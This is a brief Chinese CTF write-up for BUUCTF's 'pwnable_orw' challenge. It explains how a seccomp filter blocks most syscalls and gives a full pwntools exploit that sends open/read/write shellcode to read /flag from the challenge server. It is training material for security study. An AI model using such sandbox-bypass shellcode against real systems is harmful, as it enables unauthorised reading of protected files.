[BUUCTF-pwn]——pwnable_orw

第一次碰到orw的問題，所謂orw就是指你的系統調用被禁止了，不能通過子進程去獲得權限和flag，只能在該進程通過 open , read ,write來得到flag

這個時候可以通過seccomptools，來查看

注意看到prctl就是將系統調用給你禁止了

exploit

from pwn import * context.arch = 'i386' p = remote('node3.buuoj.cn',28626) shellcode = shellcraft.open('/flag') shellcode += shellcraft.read('eax','esp',100) shellcode += shellcraft.write(1,'esp',100) payload = asm(shellcode) p.send(payload) p.interactive()

總結

以上是生活随笔為你收集整理的[BUUCTF-pwn]——pwnable_orw 　　（ORW）的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。